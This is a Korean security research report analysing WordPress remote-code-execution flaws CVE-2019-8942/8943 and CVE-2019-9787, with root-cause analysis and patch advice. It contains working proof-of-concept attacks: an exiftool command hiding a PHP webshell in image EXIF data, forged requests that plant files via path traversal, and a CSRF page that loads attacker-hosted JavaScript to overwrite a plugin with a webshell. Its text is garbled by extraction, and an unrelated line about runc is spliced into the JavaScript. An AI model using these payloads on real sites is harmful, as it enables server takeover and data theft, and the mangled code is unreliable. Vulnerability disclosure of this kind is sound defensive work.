Research & Technique WordPress RCE 취약점 (CVE-2019-8942/CVE-2019-8943&CVE-2019-9787) 취약점개요 WordPress는현재가장많이사용되고있는오픈소스콘텐츠관리시스템 (CMS, Content Management System) 으로이를기반으로개발된웹사이트가전세계웹사이트의약 30% 정도를차지한다. 손쉬운사용법, 편리한디자인등다양한장점을앞세워많은사용자층을보유하고있지만, 보안취약점이지속해서발생하므로사용에각별한주의가필요하다. 이문서에서는 2019년 2월부터 3월까지 WordPress Core에서발견된취약점들중에서 3가지취약점에대해작성하였다. 취약점취약점공개일설명 CVE-2019-8942 2019-02-19 CVE-2019-8943 2019-02-19 CVE-2019-9787 2019-03-14 이미지업데이트시 postmeta 값에대한검증이부족하여이미지업로드를통해원격으로코드를실행할수있는취약점파일저장경로를조작할수있는불필요한파라미터가존재하여 CVE-2019-8942 취약점과함께사용할경우임의의경로에이미지를저장할수있는취약점댓글작성시 a태그의 rel 속성처리가미흡하여공격자가 CSRF를통해원격으로코드를실행할수있는취약점 EQST insight 17
이문서에서는 3 가지취약점을크게 2 가지로나누어설명하였다. CVE-2019-8942 와 CVE-2019-8943 을묶어하 나의파일업로드를통한 RCE 로설명하였고, CVE-2019-9787 은 CSRF 를통한 RCE 로분리하여작성하였다. 먼 저 CVE-2019-8942/CVE-2019-8943 취약점부터살펴본뒤, CVE-2019-9787 취약점을살펴보고자한다. 영항받는소프트웨어버전 S/W 구분 WordPress 취약버전 4.9.9, 5.0.1 이전버전 (CVE-2019-8942/8943) 5.1.1 이전버전 (CVE-2019-9787) 테스트환경구성정보 역할구분 정보 공격자 Windows 10 희생자 WordPress 4.9.8 Ubuntu 18.04.2 LTS / Apache2 2.4.29 PHP 7.2.15 / MySQL 5.7.25 취약점설명 (CVE-2019-8942/8943) WrodPress 4.9.9 및 5.0.1 이전버전에서원격코드실행취약점이발견되었다. CVE-2019-8942 취약점은 postmeta 테이블의 _wp_attached_file 값을 sample.jpg#shell.jpg 와같은임의의문자열로변경할수있다. 이취약점을 이용해공격자는 Exif meta 데이터에 PHP 코드가포함된이미지를업로드하여임의의코드를실행할수있다. CVE-2019-8943 취약점은 wp_crop_image() 함수에서 image editor 를통해파일저장경로를조작할수있는불필 요한파라미터가존재한다. 따라서 sample.jpg?/../ 를포함하는파일이름을통해이미지저장시임의의디렉터리 에쓸수있다. 취약점테스트 (CVE-2019-8942/8943) Step 1. 희생자 PC 환경구축 Ubuntu 환경에서웹서버인 Apache, 개발언어인 PHP, 데이터베이스인 MySQL 이설치된환경에서 WordPress 를 설치한다. 취약점테스트를위한이전버전의 WordPress 는다음명령을통해다운받을수있다. EQST insight 18
wget https://wordpress.org/wordpress-4.9.8.tar.gz WordPress 사이트가정상적으로동작하면, 자동업데이트해제를위해 wp-config.php 에아래의두줄을추가한다. define( WP_AUTO_UPDATE_CORE, false); define( AUTOMATIC_UPDATER_DISABLED, true); WordPress 에서사용하는기본이미지편집도구인 Imagick 을설치한다. sudo apt-get install php-imagick [PHP imagick 사용확인 ] Step 2. 테스트이미지생성 공격자 PC 에서 POC 테스트에사용할업로드이미지를생성하기위해 exiftool 을이용하여 PHP 코드를 Exif meta 영역에삽입한다. exiftool poc.jpg -documentname <?php exec($_get[ cmd ], $response);foreach($response as $line) {print (trim($line));echo ( \n );}?> EQST insight 19
[ 이미지의 Exif 필드에저장된 PHP 코드 ] Step 3. POC 테스트 author 이상의권한을가진공격자가희생자의 WordPress 서버에접속한후, Media 탭에서 Add New 버튼을선택 해앞에서생성한테스트용이미지를업로드한다. [PHP 코드가삽입된이미지업로드 ] 이미지에디터에서업로드된이미지를 edit more details -> update 버튼을클릭하여이미지의세부정보를업데이 트한다. 이때요청에 meta_input[_wp_attached_file] 파라미터를추가한다. EQST insight 20
[ 요청에 meta_input 파리미터추가 ] 그후이미지에디터에서 edit image 버튼을통해이미지크기를변경한다. 그리고이미지를저장할때기존의 action 파라미터값인 image-editor 에서 crop-image 로변조한다. action=cropimage&_ajax_nonce=<nonce값 >&id=<id값 >&cropdetails[x1]=700&cropdetails[y1]=700&cropdetails[wi dth]=10&cropdetails[height]=10&cropdetails[dst_width]=100&cropdetails[dst_height]=100 [ 이미지저장시 action 변조 ] EQST insight 21
이미지저장후 meta_input 파라미터로전달한경로에파일이생성되는지확인한다. [ 파일생성확인 ] 다시이미지에디터에서 edit more details -> update 버튼을클릭하여세부정보를업데이트한다. 이전과같은방법으로, 테스트이미지를저장할때상대경로를 meta_input[_wp_attached_file] 파라미터로전달한다. 그리고 edit image 버튼을통해이미지크기변경후 save 버튼을클릭하여이미지를저장한다. 이때다시 action 파라미터값을 image-editor에서 crop-image로변조한다. [ 이미지저장경로변조 ] EQST insight 22
response data 에저장된이미지의이름과경로를확인할수있다. 이를통해공격자는요청한경로로파일이저장된 것을알수있다. [ 이미지저장경로확인 ] 서버를탐색하면실제로변조된요청의경로에이미지가저장된것을확인할수있다. [ 이미지저장확인 ] Posts 탭에서 Add New 버튼을통해새로운글을작성하여등록한다. 이때 meta_input[_wp_page_template] 파라미 터를추가하여이게시글이사용하는 page template 을공격자가업로드한테스트이미지로지정한다. 그결과기존 의 template 이아닌테스트이미지를불러와삽입한 PHP 코드가실행된다. EQST insight 23
[page template 지정파라미터추가 ] 게시글등록후등록된게시글의 URL 에 cmd 파라미터를추가하여원하는명령어를실행시킬수있다. 192.168.126.194/wordpress/index.php/2019/04/12/poc_upload/?cmd=id [ 명령실행확인 ] EQST insight 24
취약점상세분석 (CVE-2019-8942/8943) 해당취약점이발생한위치와원인은다음과같다. 먼저이미지편집시알아두어야할내용은다음과같다. - exiftool 로 Exif 에삽입한공격자가실행할코드는이미지편집시제거되어서는안된다. - WordPress 는 PHP 이미지편집확장프로그램으로 GD 와 Imagick 을사용할수있는데, GD 는편집할이미지 를각각압축하고모든 Exif 메타데이터를제거한다. 하지만 Imagick 은이미지의 Exif 메타데이터를제거하지 않아 Exif 에삽입한코드가유지될수있다. - WordPress에 GD는이미설치되어있으며 Default로사용한다. 만약 GD와 Imagick 둘다설치되어있다면, Imagick을우선적으로사용하지만기본적으로설치되어있지않다. 따라서취약점테스트를위해 Exif 메타데이터를제거하지않는 Imagick을설치하여사용해야한다. Step 1. 이미지에검증되지않은 Post Meta가업데이트되는과정 edit_post 요청에입력된 meta_input의데이터를가져와 DB에업데이트한다. 취약한버전의 WordPress에서는해당파라미터에대한필터링기능이존재하지않아공격자가 postmeta 테이블에서해당이미지의 _wp_attached_file 값을변조할수있다. [ 이미지 postmeta 업데이트코드 ] EQST insight 25
Step 2. 이미지편집기능을통해임의의경로에파일을업로드하는과정 crop-image action 요청시 wp_crop_image 함수내부에서 postmeta 테이블내 _wp_attached_file 데이터를가져오는 get_attached_file 함수를호출한다. _wp_attached_file 데이터는공격자가임의로변조한경로로 WordPress는이데이터를이용해편집할이미지를가져온다. [ 편집할이미지의경로를가져오는코드 ] WordPress 는이미지를편집한후가져온 _wp_attahced_file 데이터로저장할경로를확인한다. 만약가져온경로 의상위디렉터리가존재하지않으면에러를반환하고, 상위디렉터리가존재하면퍼미션을확인하여가져온경로 에디렉터리를만들고권한을부여한뒤편집한이미지를저장한다. [ 이미지저장코드 ] crop-image를사용하지않아도공격이가능하다. 이미지편집후 action 파라미터를변조하지않고 imageeditor로전달하면, wp-ajax-image-editor를호출하여마찬가지로경로를검증하지않고저장한다. EQST insight 26
Step 3. 패치된버전의 WordPress 소스코드확인 postmeta 데이터를데이터베이스에저장하기전에허용된 postmeta 데이터인지확인하는코드가추가되었다. array_diff_key 함수를이용하여 meta_input, file, guid 파라미터를제외시켜공격자가임의의 meta_input 파라미터를추가하여도 meta_input을이용한취약점공격이불가능하다. [postmeta 데이터필터링코드 ] 공격시나리오 (CVE-2019-8942/8943) WordPress CVE-2019-8942/8943 취약점을이용하여취약한대상의중요정보를탈취하는시나리오는다음과같 다. CVE-2019-8942/8943 1 2 대상탐색 중요정보 3 TOP SECRET 공격자 (author) 템플릿요청변조 4 공격대상 [CVE-2019-8942/8943 공격시나리오 ] 1 공격자는공격대상이취약한버전의 WordPress를사용하는지확인함 2 공격자는악의적인코드가포함된이미지를 CVE-2019-8942/8943 취약점을이용하여공격대상이사용중인테마폴더에업로드함 (author 이상의권한필요 ) 3 공격자는이미지에삽입된코드를실행하기위해게시글작성시템플릿대신업로드한악성이미지를사용하도록요청을변조함 4 공격자는게시글에포함된악성이미지를통해웹서버내중요정보를탈취함 EQST insight 27
취약점설명 (CVE-2019-9787) WordPress 5.1.1 이전버전에서 CSRF(cross-site request forgery) 를통한원격코드실행취약점이발견되었다. 이 취약점은댓글작성시 a 태그의 rel 속성처리가미흡하여공격자가 CSRF 를통해원격으로코드를실행할수있는 취약점이다. 공격자는 CSRF 를통해관리자권한으로서버의 PHP 파일을임의로변경할수있다. WordPress 블로그관리자는댓글에 <script> 태그를포함한임의의 HTML 태그를사용할수있다. 공격자는 CSRF 취약점을이용하여관리자권한으로일반사용자보다더많은 HTML 태그를삽입할수있으며, 악의적인 JavaScript 코드가포함된댓글을작성할수있다. WordPress 는트랙백및핑백과같은일부알림기능을위해 CSRF 유효성검사를수행하지않는다. 대신 WordPress 는관리자를구별하기위한추가 nonce 를생성한다. 이는공격자가 nonce 메커니즘을우회하여 CSRF 공격을성공 시키는것을더수월하게만든다. 취약점테스트 (CVE-2019-9787) Step 1. 희생자 PC 환경구축 CVE-2019-8942/8943 테스트에서활용하였던환경과동일하게구축한다. Step 2. Docker 컨테이너내 run.sh 내용확인 댓글작성요청시필요한데이터를확인하여공격자 HTTP 서버에 poc1.html 파일을작성한다. [ 댓글작성요청시필요한데이터확인 ] EQST insight 28
poc1.html <html> <script> function payload(){ return <a title= poctitle + + onclick= + + var s=document.createelement(script); s.setattribute(src,http://< 공격서버 URL>/poc2.js); s.onload=document.body.appendchild(s); + + id= + + + rel= nofollow >Poc } </script> <form method= POST action= http://< 희생자 URL>/wordpress/wp-comments-post.php id= frm > <input type= hidden name= comment_post_id value= < 게시글 comment_post_id> > <input type= hidden id= payload name= comment value= > <input type= hidden name= comment_parent value= < 게시글 comment_parent> > </form> <script type= text/javascript > document.getelementbyid( payload ).value=payload(); document.getelementbyid( frm ).submit()</script> </html> 공격자 HTTP 서버에 poc2.js 파일을추가로작성한다. poc2.js 는 WordPress nonce 검사를우회하며, 관리자의권 한으로 default plugin 인 akismet plugin 의 PHP 파일을변조하는코드이다. EQST insight 29
poc2.js 터를지정하는것으로기존의 /bin/bash가아닌 /proc/self/exe의대상인호스트의 runc 바이너리를링크하게된다 p = /wordpress/wp-admin/plugin-editor.php? ; 0. q = file=akismet/index.php ; a = new XMLHttpRequest(); a.onreadystatechange = function() { if (a.readystate == XMLHttpRequest.DONE) { separated=a.responsetext.split( input type= hidden id= nonce name= nonce value= ) final=separated[1].split( /><input type= hidden )[0]; params = nonce= +final+string.fromcharcode(38)+ newcontent=<?php exec($_get[cmd], $response);foreach($response as $line) { print (trim($line));echo ( <br> );}?> +String.fromChar- Code(38)+ action=edit-theme-plugin-file +String.fromCharCode(38)+ file=akismet%2findex.php +String.fromCharCode(38)+ plugin=akismet%2fakismet.php b = new XMLHttpRequest(); b.open( POST, p, 1); b.setrequestheader( Content-Type, application/x-www-form-urlencoded ); b.send(params); b.onreadystatechange = function(){ if (this.readystate == 4) { fetch( /wordpress/wp-content/plugins/akismet/akismet.php ); } } }} a.open( GET, p+q, 0); a.send(); Step 3. CSRF 공격 CSRF공격 (Cross Site Request Forgery) 은인터넷사용자가공격자가의도한행위를특정웹사이트에요청하게하는공격이다. CSRF가이루어지기위해서는특정웹사이트에희생자가로그인상태여야하고, 희생자가공격자가만든피싱사이트에접근하는것이필요하다. 공격자는관리자에게 poc1.html 페이지의 URL 을전달하여클릭하도록유도한다. WordPress 관리자는세션을가 진채로공격자서버의 poc1.html 페이지에접근한다. 그후 poc1.html 의자바스크립트가실행되어게시글에댓글 이생성된다. EQST insight 30
[CSRF 를통한댓글작성성공확인 ] Step 4. 작성된댓글에포함된스크립트실행 WordPress 관리자가생성된댓글을클릭하면 poc2.js 가로드되어실행되면서 akismet 플러그인의 index.php 파일 이변조된다. [index.php 파일변조확인 ] Step 5. 공격자가희생자서버의변조된 PHP 페이지에접근하여정보획득 공격자는희생자서버의변조된 PHP 파일을이용하여명령을실행할수있다. [ 명령실행확인 ] EQST insight 31
취약점상세분석 (CVE-2019-9787) 해당취약점이발생한위치와원인은다음과같다. Step 1. CSRF 를통해댓글이작성되는과정 CSRF 를통해댓글작성요청을보내면 WordPress 는댓글에화이트리스트방식의필터링을적용한다. 관리자권한 으로댓글을작성하기때문에일반사용자보다더느슨한 wp_filter_post_kses 필터링이적용된다. [ 적용될필터링확인 ] WordPress 는화이트리스트방식의필터링을수행하는데, 위에서설정한 wp_filter_post_kses 필터링을통해허용된 HTML 태그및속성을제외한내용은삭제된다. [ 댓글내용에필터링을적용하는함수호출코드 ] EQST insight 32
wp_filter_post_kses 필터링에서허용하는 a 태그의속성은다음과같다. [ 허용된 a 태그속성 ] 댓글내용에실제로는 4 가지의속성이들어있지만필터링이미흡하여 ( 싱글쿼터 ) 로묶여진 3 개의속성 (title, on-click, id) 을 1 개의속성 (title) 으로인식한다. 결과적으로 onclick 속성은허용된속성이아니지만 title 의속성값 으로인식되어필터링이적용되지않는다. [ 필터링이적용된후댓글내용 ] 속성에 rel 속성이존재하는경우의코드이다. 이부분에서취약점이발생하는데, 이는분리된속성들을다시하 나의태그로합치는과정에서 ( 싱글쿼터 ) 가사라지고그위치에 ( 더블쿼터 ) 가추가되어처리되기때문이다. EQST insight 33
[ 취약점발생코드 ] 요청한댓글 <a title= poctitle onclick=alert(1) id= rel= nofollow >Poc 작성된댓글 <a title= poctitle onclick=alert(1) id= rel= nofollow >Poc Step 2. 패치된버전의 WordPress 소스코드확인 패치된버전에서는기존의취약한 wp_filter_post_kses 필터를해제하고더엄격한 wp_filter_kses 필터를사용한다. [ 변경된필터링적용코드 ] wp_filter_post_kses 필터는 a 태그에서 10 개의속성을허용했다면, 새로사용하는 wp_filter_kses 필터는단 2 개만을 사용할수있다. EQST insight 34
[ 변경된필터링허용속성 ] 따라서 rel 속성은허용되지않기때문에필터링을통해빈값으로전달되어취약한코드를사용하지않게된다. 요청한댓글 <a title= poctitle onclick=alert(1) id= rel= nofollow >Poc 작성된댓글 <a title= poctitle onclick=alert(1) id= rel= nofollow >Poc 또한 esc_attr 함수를통해기존에취약했던분리된속성들을다시하나의태그로합치는부분을보완하였는데, 이 함수로인해 ( 더블쿼터 ) 가 " 로변경되었다. 따라서 onclick 이벤트는문자열로인식되어이벤트가동작하지 않는다. [ 패치된 a 태그처리코드 ] EQST insight 35
공격시나리오 WordPress CVE-2019-9787 취약점을이용하여사이트의중요정보를탈취하는시나리오는다음과같다. 피싱사이트 URL 1 공격자 (author) 2 4 TOP SECRET 중요정보 대상탐색 사이트접근 CVE-2019-9787 3 5 관리자 [CVE-2019-9787 공격시나리오 ] 1 공격자는공격대상이취약한버전의 WordPress를사용하는지확인함 2 공격자는 WordPress 관리자에게악의적인코드가포함된댓글을작성하도록하는피싱사이트에접근하도록유도함 3 관리자는 WordPress 관리자로로그인한상태로피싱사이트에접근함 4 공격자는 CVE-2019-9787 취약점을이용하여관리자권한으로 WordPress에악의적인코드가포함된댓글을작성함 5 공격자는댓글에포함된코드로인해변조된 Plugin 파일로웹서버내중요정보를탈취함 EQST insight 36
대응방안 WordPress 관리자페이지에서최신버전으로업데이트한다. [WordPress 업데이트 ] 업데이트가불가한경우, 공식배포된패치내역을참고하여코드수정을권고한다. 취약점 commit 번호설명 43bdb0e193955145a5ab1137 890bb798bce5f0d2 0292de60ec78c5a449567651 89403654fe4d080b 2504efcf9439c1961c4108057 e8f3f48239a244b CVE-2019-8942/8943 CVE-2019-9787 https://github.com/wordpress/wordpress/commit/43bdb0e193 955145a5ab1137890bb798bce5f0d2#diff-c3d5c535db5622f- 3b0242411ee5f9dfd https://github.com/wordpress/wordpress/commit/0292de60 ec78c5a44956765189403654fe4d080b#diff-91531896c6f- 70c8a4b4b321d1369c988 https://github.com/wordpress/wordpress/commit/2504efcf9439c 1961c4108057e8f3f48239a244b#diff-e7c589fb0969e0f690bf2f- 051517d0ad EQST insight 37